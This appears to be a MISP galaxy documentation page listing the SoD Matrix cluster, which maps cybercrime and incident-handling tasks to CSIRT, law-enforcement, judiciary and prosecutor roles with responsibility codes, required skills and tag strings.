The tag is: *misp-galaxy:social-dark-patterns="Countdown timer / Limited time message"*

Table 17467. Table References

Links
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

SoD Matrix

SOD Matrix.

SoD Matrix is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Koen Van Impe

Delivering training - CSIRT - [R]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Delivering training - CSIRT - [R]"*

Delivering training - CSIRT - [C]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Delivering training - CSIRT - [C]"*

Delivering training - CSIRT - [I]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Delivering training - CSIRT - [I]"*

Delivering training - CSIRT - [S]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Delivering training - CSIRT - [S]"*

Delivering training - LEA - [R]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Delivering training - LEA - [R]"*

Delivering training - LEA - [C]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Delivering training - LEA - [C]"*

Delivering training - LEA - [I]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Delivering training - LEA - [I]"*

Delivering training - LEA - [S]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Delivering training - LEA - [S]"*

Delivering training - Judiciary - [R]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Delivering training - Judiciary - [R]"*

Delivering training - Judiciary - [C]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Delivering training - Judiciary - [C]"*

Delivering training - Judiciary - [I]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Delivering training - Judiciary - [I]"*

Delivering training - Judiciary - [S]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Delivering training - Judiciary - [S]"*

Delivering training - Prosecutors - [R]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Delivering training - Prosecutors - [R]"*

Delivering training - Prosecutors - [C]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Delivering training - Prosecutors - [C]"*

Delivering training - Prosecutors - [I]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Delivering training - Prosecutors - [I]"*

Delivering training - Prosecutors - [S]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Delivering training - Prosecutors - [S]"*

Participating in training - CSIRT - [R]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Participating in training - CSIRT - [R]"*

Participating in training - CSIRT - [C]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Participating in training - CSIRT - [C]"*

Participating in training - CSIRT - [I]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Participating in training - CSIRT - [I]"*

Participating in training - CSIRT - [S]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Participating in training - CSIRT - [S]"*

Participating in training - LEA - [R]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Participating in training - LEA - [R]"*

Participating in training - LEA - [C]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Participating in training - LEA - [C]"*

Participating in training - LEA - [I]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Participating in training - LEA - [I]"*

Participating in training - LEA - [S]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Participating in training - LEA - [S]"*

Participating in training - Judiciary - [R]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Participating in training - Judiciary - [R]"*

Participating in training - Judiciary - [C]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Participating in training - Judiciary - [C]"*

Participating in training - Judiciary - [I]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Participating in training - Judiciary - [I]"*

Participating in training - Judiciary - [S]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Participating in training - Judiciary - [S]"*

Participating in training - Prosecutors - [R]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Participating in training - Prosecutors - [R]"*

Participating in training - Prosecutors - [C]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Participating in training - Prosecutors - [C]"*

Participating in training - Prosecutors - [I]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Participating in training - Prosecutors - [I]"*

Participating in training - Prosecutors - [S]

Problem-solving and critical thinking skills

The tag is: *misp-galaxy:sod-matrix="Participating in training - Prosecutors - [S]"*

Collecting cyber threat intelligence - CSIRT - [R]

Knowledge of cyber threat intelligence landscape

The tag is: *misp-galaxy:sod-matrix="Collecting cyber threat intelligence - CSIRT - [R]"*

Collecting cyber threat intelligence - CSIRT - [C]

Knowledge of cyber threat intelligence landscape

The tag is: *misp-galaxy:sod-matrix="Collecting cyber threat intelligence - CSIRT - [C]"*

Collecting cyber threat intelligence - CSIRT - [I]

Knowledge of cyber threat intelligence landscape

The tag is: *misp-galaxy:sod-matrix="Collecting cyber threat intelligence - CSIRT - [I]"*

Collecting cyber threat intelligence - CSIRT - [S]

Knowledge of cyber threat intelligence landscape

The tag is: *misp-galaxy:sod-matrix="Collecting cyber threat intelligence - CSIRT - [S]"*

Collecting cyber threat intelligence - LEA - [R]

Knowledge of cyber threat intelligence landscape

The tag is: *misp-galaxy:sod-matrix="Collecting cyber threat intelligence - LEA - [R]"*

Collecting cyber threat intelligence - LEA - [C]

Knowledge of cyber threat intelligence landscape

The tag is: *misp-galaxy:sod-matrix="Collecting cyber threat intelligence - LEA - [C]"*

Collecting cyber threat intelligence - LEA - [I]

Knowledge of cyber threat intelligence landscape

The tag is: *misp-galaxy:sod-matrix="Collecting cyber threat intelligence - LEA - [I]"*

Collecting cyber threat intelligence - LEA - [S]

Knowledge of cyber threat intelligence landscape

The tag is: *misp-galaxy:sod-matrix="Collecting cyber threat intelligence - LEA - [S]"*

Collecting cyber threat intelligence - Prosecutors - [R]

Knowledge of cyber threat intelligence landscape

The tag is: *misp-galaxy:sod-matrix="Collecting cyber threat intelligence - Prosecutors - [R]"*

Collecting cyber threat intelligence - Prosecutors - [C]

Knowledge of cyber threat intelligence landscape

The tag is: *misp-galaxy:sod-matrix="Collecting cyber threat intelligence - Prosecutors - [C]"*

Collecting cyber threat intelligence - Prosecutors - [I]

Knowledge of cyber threat intelligence landscape

The tag is: *misp-galaxy:sod-matrix="Collecting cyber threat intelligence - Prosecutors - [I]"*

Collecting cyber threat intelligence - Prosecutors - [S]

Knowledge of cyber threat intelligence landscape

The tag is: *misp-galaxy:sod-matrix="Collecting cyber threat intelligence - Prosecutors - [S]"*

Analysis of vulnerabilities and threats - CSIRT - [R]

Development and distribution of tools for preventive and reactive mitigation

The tag is: *misp-galaxy:sod-matrix="Analysis of vulnerabilities and threats - CSIRT - [R]"*

Analysis of vulnerabilities and threats - CSIRT - [C]

Development and distribution of tools for preventive and reactive mitigation

The tag is: *misp-galaxy:sod-matrix="Analysis of vulnerabilities and threats - CSIRT - [C]"*

Analysis of vulnerabilities and threats - CSIRT - [I]

Development and distribution of tools for preventive and reactive mitigation

The tag is: *misp-galaxy:sod-matrix="Analysis of vulnerabilities and threats - CSIRT - [I]"*

Analysis of vulnerabilities and threats - CSIRT - [S]

Development and distribution of tools for preventive and reactive mitigation

The tag is: *misp-galaxy:sod-matrix="Analysis of vulnerabilities and threats - CSIRT - [S]"*

Analysis of vulnerabilities and threats - LEA - [R]

Development and distribution of tools for preventive and reactive mitigation

The tag is: *misp-galaxy:sod-matrix="Analysis of vulnerabilities and threats - LEA - [R]"*

Analysis of vulnerabilities and threats - LEA - [C]

Development and distribution of tools for preventive and reactive mitigation

The tag is: *misp-galaxy:sod-matrix="Analysis of vulnerabilities and threats - LEA - [C]"*

Analysis of vulnerabilities and threats - LEA - [I]

Development and distribution of tools for preventive and reactive mitigation

The tag is: *misp-galaxy:sod-matrix="Analysis of vulnerabilities and threats - LEA - [I]"*

Analysis of vulnerabilities and threats - LEA - [S]

Development and distribution of tools for preventive and reactive mitigation

The tag is: *misp-galaxy:sod-matrix="Analysis of vulnerabilities and threats - LEA - [S]"*

Analysis of vulnerabilities and threats - Prosecutors - [R]

Development and distribution of tools for preventive and reactive mitigation

The tag is: *misp-galaxy:sod-matrix="Analysis of vulnerabilities and threats - Prosecutors - [R]"*

Analysis of vulnerabilities and threats - Prosecutors - [C]

Development and distribution of tools for preventive and reactive mitigation

The tag is: *misp-galaxy:sod-matrix="Analysis of vulnerabilities and threats - Prosecutors - [C]"*

Analysis of vulnerabilities and threats - Prosecutors - [I]

Development and distribution of tools for preventive and reactive mitigation

The tag is: *misp-galaxy:sod-matrix="Analysis of vulnerabilities and threats - Prosecutors - [I]"*

Analysis of vulnerabilities and threats - Prosecutors - [S]

Development and distribution of tools for preventive and reactive mitigation

The tag is: *misp-galaxy:sod-matrix="Analysis of vulnerabilities and threats - Prosecutors - [S]"*

Issuing recommendations for new vulnerabilities and threats - CSIRT - [R]

Dealing with specific types of threats and vulnerabilities

The tag is: *misp-galaxy:sod-matrix="Issuing recommendations for new vulnerabilities and threats - CSIRT - [R]"*

Issuing recommendations for new vulnerabilities and threats - CSIRT - [C]

Dealing with specific types of threats and vulnerabilities

The tag is: *misp-galaxy:sod-matrix="Issuing recommendations for new vulnerabilities and threats - CSIRT - [C]"*

Issuing recommendations for new vulnerabilities and threats - CSIRT - [I]

Dealing with specific types of threats and vulnerabilities

The tag is: *misp-galaxy:sod-matrix="Issuing recommendations for new vulnerabilities and threats - CSIRT - [I]"*

Issuing recommendations for new vulnerabilities and threats - CSIRT - [S]

Dealing with specific types of threats and vulnerabilities

The tag is: *misp-galaxy:sod-matrix="Issuing recommendations for new vulnerabilities and threats -*

CSIRT - [S]"

Advising potential victims on preventive measures against cybercrime - CSIRT - [R]

Raising awareness on preventive measures against cybercrime

The tag is: *misp-galaxy:sod-matrix="Advising potential victims on preventive measures against cybercrime - CSIRT - [R]"*

Advising potential victims on preventive measures against cybercrime - CSIRT - [C]

Raising awareness on preventive measures against cybercrime

The tag is: *misp-galaxy:sod-matrix="Advising potential victims on preventive measures against cybercrime - CSIRT - [C]"*

Advising potential victims on preventive measures against cybercrime - CSIRT - [I]

Raising awareness on preventive measures against cybercrime

The tag is: *misp-galaxy:sod-matrix="Advising potential victims on preventive measures against cybercrime - CSIRT - [I]"*

Advising potential victims on preventive measures against cybercrime - CSIRT - [S]

Raising awareness on preventive measures against cybercrime

The tag is: *misp-galaxy:sod-matrix="Advising potential victims on preventive measures against cybercrime - CSIRT - [S]"*

Advising potential victims on preventive measures against cybercrime - LEA - [R]

Raising awareness on preventive measures against cybercrime

The tag is: *misp-galaxy:sod-matrix="Advising potential victims on preventive measures against cybercrime - LEA - [R]"*

Advising potential victims on preventive measures against cybercrime - LEA - [C]

Raising awareness on preventive measures against cybercrime

The tag is: *misp-galaxy:sod-matrix="Advising potential victims on preventive measures against cybercrime - LEA - [C]"*

Advising potential victims on preventive measures against cybercrime - LEA - [I]

Raising awareness on preventive measures against cybercrime

The tag is: *misp-galaxy:sod-matrix="Advising potential victims on preventive measures against cybercrime - LEA - [I]"*

Advising potential victims on preventive measures against cybercrime - LEA - [S]

Raising awareness on preventive measures against cybercrime

The tag is: *misp-galaxy:sod-matrix="Advising potential victims on preventive measures against cybercrime - LEA - [S]"*

Discovery of the cyber security incident/crime - CSIRT - [R]

Digital investigations; forensics tools; penetration testing; vulnerability scanning; flow analysis

The tag is: *misp-galaxy:sod-matrix="Discovery of the cyber security incident/crime - CSIRT - [R]"*

Discovery of the cyber security incident/crime - CSIRT - [C]

Digital investigations; forensics tools; penetration testing; vulnerability scanning; flow analysis

The tag is: *misp-galaxy:sod-matrix="Discovery of the cyber security incident/crime - CSIRT - [C]"*

Discovery of the cyber security incident/crime - CSIRT - [I]

Digital investigations; forensics tools; penetration testing; vulnerability scanning; flow analysis

The tag is: *misp-galaxy:sod-matrix="Discovery of the cyber security incident/crime - CSIRT - [I]"*

Discovery of the cyber security incident/crime - CSIRT - [S]

Digital investigations; forensics tools; penetration testing; vulnerability scanning; flow analysis

The tag is: *misp-galaxy:sod-matrix="Discovery of the cyber security incident/crime - CSIRT - [S]"*

Discovery of the cyber security incident/crime - LEA - [R]

Digital investigations; forensics tools; penetration testing; vulnerability scanning; flow analysis

The tag is: *misp-galaxy:sod-matrix="Discovery of the cyber security incident/crime - LEA - [R]"*

Discovery of the cyber security incident/crime - LEA - [C]

Digital investigations; forensics tools; penetration testing; vulnerability scanning; flow analysis

The tag is: *misp-galaxy:sod-matrix="Discovery of the cyber security incident/crime - LEA - [C]"*

Discovery of the cyber security incident/crime - LEA - [I]

Digital investigations; forensics tools; penetration testing; vulnerability scanning; flow analysis

The tag is: *misp-galaxy:sod-matrix="Discovery of the cyber security incident/crime - LEA - [I]"*

Discovery of the cyber security incident/crime - LEA - [S]

Digital investigations; forensics tools; penetration testing; vulnerability scanning; flow analysis

The tag is: *misp-galaxy:sod-matrix="Discovery of the cyber security incident/crime - LEA - [S]"*

Identification and classification of the cyber security incident/crime - CSIRT - [R]

Incident and crime classification and identification

The tag is: *misp-galaxy:sod-matrix="Identification and classification of the cyber security incident/crime - CSIRT - [R]"*

Identification and classification of the cyber security incident/crime - CSIRT - [C]

Incident and crime classification and identification

The tag is: *misp-galaxy:sod-matrix="Identification and classification of the cyber security incident/crime - CSIRT - [C]"*

Identification and classification of the cyber security incident/crime - CSIRT - [I]

Incident and crime classification and identification

The tag is: *misp-galaxy:sod-matrix="Identification and classification of the cyber security incident/crime - CSIRT - [I]"*

Identification and classification of the cyber security incident/crime - CSIRT - [S]

Incident and crime classification and identification

The tag is: *misp-galaxy:sod-matrix="Identification and classification of the cyber security incident/crime - CSIRT - [S]"*

Identification and classification of the cyber security incident/crime - LEA - [R]

Incident and crime classification and identification

The tag is: *misp-galaxy:sod-matrix="Identification and classification of the cyber security incident/crime - LEA - [R]"*

Identification and classification of the cyber security incident/crime - LEA - [C]

Incident and crime classification and identification

The tag is: *misp-galaxy:sod-matrix="Identification and classification of the cyber security incident/crime - LEA - [C]"*

Identification and classification of the cyber security incident/crime - LEA - [I]

Incident and crime classification and identification

The tag is: *misp-galaxy:sod-matrix="Identification and classification of the cyber security incident/crime - LEA - [I]"*

Identification and classification of the cyber security incident/crime - LEA - [S]

Incident and crime classification and identification

The tag is: *misp-galaxy:sod-matrix="Identification and classification of the cyber security incident/crime - LEA - [S]"*

Identification and classification of the cyber security incident/crime - Prosecutors - [R]

Incident and crime classification and identification

The tag is: *misp-galaxy:sod-matrix="Identification and classification of the cyber security incident/crime - Prosecutors - [R]"*

Identification and classification of the cyber security incident/crime - Prosecutors - [C]

Incident and crime classification and identification

The tag is: *misp-galaxy:sod-matrix="Identification and classification of the cyber security incident/crime - Prosecutors - [C]"*

Identification and classification of the cyber security incident/crime - Prosecutors - [I]

Incident and crime classification and identification

The tag is: *misp-galaxy:sod-matrix="Identification and classification of the cyber security incident/crime - Prosecutors - [I]"*

Identification and classification of the cyber security incident/crime - Prosecutors - [S]

Incident and crime classification and identification

The tag is: *misp-galaxy:sod-matrix="Identification and classification of the cyber security incident/crime - Prosecutors - [S]"*

Identify the type and severity of the compromise - CSIRT - [R]

Knowledge of cyber threats and incident response procedures

The tag is: *misp-galaxy:sod-matrix="Identify the type and severity of the compromise - CSIRT - [R]"*

Identify the type and severity of the compromise - CSIRT - [C]

Knowledge of cyber threats and incident response procedures

The tag is: *misp-galaxy:sod-matrix="Identify the type and severity of the compromise - CSIRT - [C]"*

Identify the type and severity of the compromise - CSIRT - [I]

Knowledge of cyber threats and incident response procedures

The tag is: *misp-galaxy:sod-matrix="Identify the type and severity of the compromise - CSIRT - [I]"*

Identify the type and severity of the compromise - CSIRT - [S]

Knowledge of cyber threats and incident response procedures

The tag is: *misp-galaxy:sod-matrix="Identify the type and severity of the compromise - CSIRT - [S]"*

Identify the type and severity of the compromise - LEA - [R]

Knowledge of cyber threats and incident response procedures

The tag is: *misp-galaxy:sod-matrix="Identify the type and severity of the compromise - LEA - [R]"*

Identify the type and severity of the compromise - LEA - [C]

Knowledge of cyber threats and incident response procedures

The tag is: *misp-galaxy:sod-matrix="Identify the type and severity of the compromise - LEA - [C]"*

Identify the type and severity of the compromise - LEA - [I]

Knowledge of cyber threats and incident response procedures

The tag is: *misp-galaxy:sod-matrix="Identify the type and severity of the compromise - LEA - [I]"*

Identify the type and severity of the compromise - LEA - [S]

Knowledge of cyber threats and incident response procedures

The tag is: *misp-galaxy:sod-matrix="Identify the type and severity of the compromise - LEA - [S]"*

Identify the type and severity of the compromise - Prosecutors - [R]

Knowledge of cyber threats and incident response procedures

The tag is: *misp-galaxy:sod-matrix="Identify the type and severity of the compromise - Prosecutors - [R]"*

Identify the type and severity of the compromise - Prosecutors - [C]

Knowledge of cyber threats and incident response procedures

The tag is: *misp-galaxy:sod-matrix="Identify the type and severity of the compromise - Prosecutors - [C]"*

Identify the type and severity of the compromise - Prosecutors - [I]

Knowledge of cyber threats and incident response procedures

The tag is: *misp-galaxy:sod-matrix="Identify the type and severity of the compromise - Prosecutors - [I]"*

Identify the type and severity of the compromise - Prosecutors - [S]

Knowledge of cyber threats and incident response procedures

The tag is: *misp-galaxy:sod-matrix="Identify the type and severity of the compromise - Prosecutors -*

[S]"

Evidence collection - CSIRT - [R]

Knowledge of what kind of data to collect; organisation skills

The tag is: *misp-galaxy:sod-matrix="Evidence collection - CSIRT - [R]"*

Evidence collection - CSIRT - [C]

Knowledge of what kind of data to collect; organisation skills

The tag is: *misp-galaxy:sod-matrix="Evidence collection - CSIRT - [C]"*

Evidence collection - CSIRT - [I]

Knowledge of what kind of data to collect; organisation skills

The tag is: *misp-galaxy:sod-matrix="Evidence collection - CSIRT - [I]"*

Evidence collection - CSIRT - [S]

Knowledge of what kind of data to collect; organisation skills

The tag is: *misp-galaxy:sod-matrix="Evidence collection - CSIRT - [S]"*

Evidence collection - LEA - [R]

Knowledge of what kind of data to collect; organisation skills

The tag is: *misp-galaxy:sod-matrix="Evidence collection - LEA - [R]"*

Evidence collection - LEA - [C]

Knowledge of what kind of data to collect; organisation skills

The tag is: *misp-galaxy:sod-matrix="Evidence collection - LEA - [C]"*

Evidence collection - LEA - [I]

Knowledge of what kind of data to collect; organisation skills

The tag is: *misp-galaxy:sod-matrix="Evidence collection - LEA - [I]"*

Evidence collection - LEA - [S]

Knowledge of what kind of data to collect; organisation skills

The tag is: *misp-galaxy:sod-matrix="Evidence collection - LEA - [S]"*

Evidence collection - Prosecutors - [R]

Knowledge of what kind of data to collect; organisation skills

The tag is: *misp-galaxy:sod-matrix="Evidence collection - Prosecutors - [R]"*

Evidence collection - Prosecutors - [C]

Knowledge of what kind of data to collect; organisation skills

The tag is: *misp-galaxy:sod-matrix="Evidence collection - Prosecutors - [C]"*

Evidence collection - Prosecutors - [I]

Knowledge of what kind of data to collect; organisation skills

The tag is: *misp-galaxy:sod-matrix="Evidence collection - Prosecutors - [I]"*

Evidence collection - Prosecutors - [S]

Knowledge of what kind of data to collect; organisation skills

The tag is: *misp-galaxy:sod-matrix="Evidence collection - Prosecutors - [S]"*

Providing technical expertise - CSIRT - [R]

Technical skills

The tag is: *misp-galaxy:sod-matrix="Providing technical expertise - CSIRT - [R]"*

Providing technical expertise - CSIRT - [C]

Technical skills

The tag is: *misp-galaxy:sod-matrix="Providing technical expertise - CSIRT - [C]"*

Providing technical expertise - CSIRT - [I]

Technical skills

The tag is: *misp-galaxy:sod-matrix="Providing technical expertise - CSIRT - [I]"*

Providing technical expertise - CSIRT - [S]

Technical skills

The tag is: *misp-galaxy:sod-matrix="Providing technical expertise - CSIRT - [S]"*

Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - CSIRT - [R]

Digital investigations; forensics tools;

The tag is: *misp-galaxy:sod-matrix="Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - CSIRT - [R]"*

Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - CSIRT - [C]

Digital investigations; forensics tools;

The tag is: *misp-galaxy:sod-matrix="Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - CSIRT - [C]"*

Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - CSIRT - [I]

Digital investigations; forensics tools;

The tag is: *misp-galaxy:sod-matrix="Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - CSIRT - [I]"*

Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - CSIRT - [S]

Digital investigations; forensics tools;

The tag is: *misp-galaxy:sod-matrix="Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - CSIRT - [S]"*

Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - LEA - [R]

Digital investigations; forensics tools;

The tag is: *misp-galaxy:sod-matrix="Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - LEA - [R]"*

Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - LEA - [C]

Digital investigations; forensics tools;

The tag is: *misp-galaxy:sod-matrix="Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - LEA - [C]"*

Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - LEA - [I]

Digital investigations; forensics tools;

The tag is: *misp-galaxy:sod-matrix="Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - LEA - [I]"*

Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - LEA - [S]

Digital investigations; forensics tools;

The tag is: *misp-galaxy:sod-matrix="Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - LEA - [S]"*

Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - Prosecutors - [R]

Digital investigations; forensics tools;

The tag is: *misp-galaxy:sod-matrix="Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - Prosecutors - [R]"*

Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - Prosecutors - [C]

Digital investigations; forensics tools;

The tag is: *misp-galaxy:sod-matrix="Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - Prosecutors - [C]"*

Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - Prosecutors - [I]

Digital investigations; forensics tools;

The tag is: *misp-galaxy:sod-matrix="Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - Prosecutors - [I]"*

Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - Prosecutors - [S]

Digital investigations; forensics tools;

The tag is: *misp-galaxy:sod-matrix="Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - Prosecutors - [S]"*

Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - CSIRT - [R]

Obligations and restriction on information sharing; communication channels

The tag is: *misp-galaxy:sod-matrix="Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - CSIRT - [R]"*

Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - CSIRT - [C]

Obligations and restriction on information sharing; communication channels

The tag is: *misp-galaxy:sod-matrix="Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - CSIRT - [C]"*

Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - CSIRT - [I]

Obligations and restriction on information sharing; communication channels

The tag is: *misp-galaxy:sod-matrix="Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - CSIRT - [I]"*

Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - CSIRT - [S]

Obligations and restriction on information sharing; communication channels

The tag is: *misp-galaxy:sod-matrix="Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - CSIRT - [S]"*

Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - Prosecutors - [R]

Obligations and restriction on information sharing; communication channels

The tag is: *misp-galaxy:sod-matrix="Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - Prosecutors - [R]"*

Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - Prosecutors - [C]

Obligations and restriction on information sharing; communication channels

The tag is: *misp-galaxy:sod-matrix="Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - Prosecutors - [C]"*

Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - Prosecutors - [I]

Obligations and restriction on information sharing; communication channels

The tag is: *misp-galaxy:sod-matrix="Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - Prosecutors - [I]"*

Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - Prosecutors - [S]

Obligations and restriction on information sharing; communication channels

The tag is: *misp-galaxy:sod-matrix="Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - Prosecutors - [S]"*

Duty to inform the victim of a cybercrime - CSIRT - [R]

Obligations and restrictions to the information sharing

The tag is: *misp-galaxy:sod-matrix="Duty to inform the victim of a cybercrime - CSIRT - [R]"*

Duty to inform the victim of a cybercrime - CSIRT - [C]

Obligations and restrictions to the information sharing

The tag is: *misp-galaxy:sod-matrix="Duty to inform the victim of a cybercrime - CSIRT - [C]"*

Duty to inform the victim of a cybercrime - CSIRT - [I]

Obligations and restrictions to the information sharing

The tag is: *misp-galaxy:sod-matrix="Duty to inform the victim of a cybercrime - CSIRT - [I]"*

Duty to inform the victim of a cybercrime - CSIRT - [S]

Obligations and restrictions to the information sharing

The tag is: *misp-galaxy:sod-matrix="Duty to inform the victim of a cybercrime - CSIRT - [S]"*

Duty to inform the victim of a cybercrime - LEA - [R]

Obligations and restrictions to the information sharing

The tag is: *misp-galaxy:sod-matrix="Duty to inform the victim of a cybercrime - LEA - [R]"*

Duty to inform the victim of a cybercrime - LEA - [C]

Obligations and restrictions to the information sharing

The tag is: *misp-galaxy:sod-matrix="Duty to inform the victim of a cybercrime - LEA - [C]"*

Duty to inform the victim of a cybercrime - LEA - [I]

Obligations and restrictions to the information sharing

The tag is: *misp-galaxy:sod-matrix="Duty to inform the victim of a cybercrime - LEA - [I]"*

Duty to inform the victim of a cybercrime - LEA - [S]

Obligations and restrictions to the information sharing

The tag is: *misp-galaxy:sod-matrix="Duty to inform the victim of a cybercrime - LEA - [S]"*

Duty to inform the victim of a cybercrime - Prosecutors - [R]

Obligations and restrictions to the information sharing

The tag is: *misp-galaxy:sod-matrix="Duty to inform the victim of a cybercrime - Prosecutors - [R]"*

Duty to inform the victim of a cybercrime - Prosecutors - [C]

Obligations and restrictions to the information sharing

The tag is: *misp-galaxy:sod-matrix="Duty to inform the victim of a cybercrime - Prosecutors - [C]"*

Duty to inform the victim of a cybercrime - Prosecutors - [I]

Obligations and restrictions to the information sharing

The tag is: *misp-galaxy:sod-matrix="Duty to inform the victim of a cybercrime - Prosecutors - [I]"*

Duty to inform the victim of a cybercrime - Prosecutors - [S]

Obligations and restrictions to the information sharing

The tag is: *misp-galaxy:sod-matrix="Duty to inform the victim of a cybercrime - Prosecutors - [S]"*

Duty to inform other stakeholders/authorities (operators of vulnerable systems, data protection authorities, telecommunications authorities, etc.) - CSIRT - [R]

Obligations and rules for information sharing among communities

The tag is: *misp-galaxy:sod-matrix="Duty to inform other stakeholders/authorities (operators of vulnerable systems, data protection authorities, telecommunications authorities, etc.) - CSIRT - [R]"*

Duty to inform other stakeholders/authorities (operators of vulnerable systems, data protection authorities, telecommunications authorities, etc.) - CSIRT - [C]

Obligations and rules for information sharing among communities

The tag is: *misp-galaxy:sod-matrix="Duty to inform other stakeholders/authorities (operators of vulnerable systems, data protection authorities, telecommunications authorities, etc.) - CSIRT - [C]"*

Duty to inform other stakeholders/authorities (operators of vulnerable systems, data protection authorities, telecommunications authorities, etc.) - CSIRT - [I]

Obligations and rules for information sharing among communities

The tag is: *misp-galaxy:sod-matrix="Duty to inform other stakeholders/authorities (operators of vulnerable systems, data protection authorities, telecommunications authorities, etc.) - CSIRT - [I]"*

Duty to inform other stakeholders/authorities (operators of vulnerable systems, data protection authorities, telecommunications authorities, etc.) - CSIRT - [S]

Obligations and rules for information sharing among communities

The tag is: *misp-galaxy:sod-matrix="Duty to inform other stakeholders/authorities (operators of vulnerable systems, data protection authorities, telecommunications authorities, etc.) - CSIRT - [S]"*

Acting as a single point of contact (PoC) for any communication with other EU Member States for the incident handling - CSIRT - [R]

Communication skills; communication channel

The tag is: *misp-galaxy:sod-matrix="Acting as a single point of contact (PoC) for any communication with other EU Member States for the incident handling - CSIRT - [R]"*

Acting as a single point of contact (PoC) for any communication with other EU Member States for the incident handling - CSIRT - [C]

Communication skills; communication channel

The tag is: *misp-galaxy:sod-matrix="Acting as a single point of contact (PoC) for any communication with other EU Member States for the incident handling - CSIRT - [C]"*

Acting as a single point of contact (PoC) for any communication with other EU Member States for the incident handling - CSIRT - [I]

Communication skills; communication channel

The tag is: *misp-galaxy:sod-matrix="Acting as a single point of contact (PoC) for any communication with other EU Member States for the incident handling - CSIRT - [I]"*

Acting as a single point of contact (PoC) for any communication with other EU Member States for the incident handling - CSIRT - [S]

Communication skills; communication channel

The tag is: *misp-galaxy:sod-matrix="Acting as a single point of contact (PoC) for any communication with other EU Member States for the incident handling - CSIRT - [S]"*

Mitigation of an incident - CSIRT - [R]

Well-prepared & well-organised to react promptly in an incident

The tag is: *misp-galaxy:sod-matrix="Mitigation of an incident - CSIRT - [R]"*

Mitigation of an incident - CSIRT - [C]

Well-prepared & well-organised to react promptly in an incident

The tag is: *misp-galaxy:sod-matrix="Mitigation of an incident - CSIRT - [C]"*

Mitigation of an incident - CSIRT - [I]

Well-prepared & well-organised to react promptly in an incident

The tag is: *misp-galaxy:sod-matrix="Mitigation of an incident - CSIRT - [I]"*

Mitigation of an incident - CSIRT - [S]

Well-prepared & well-organised to react promptly in an incident

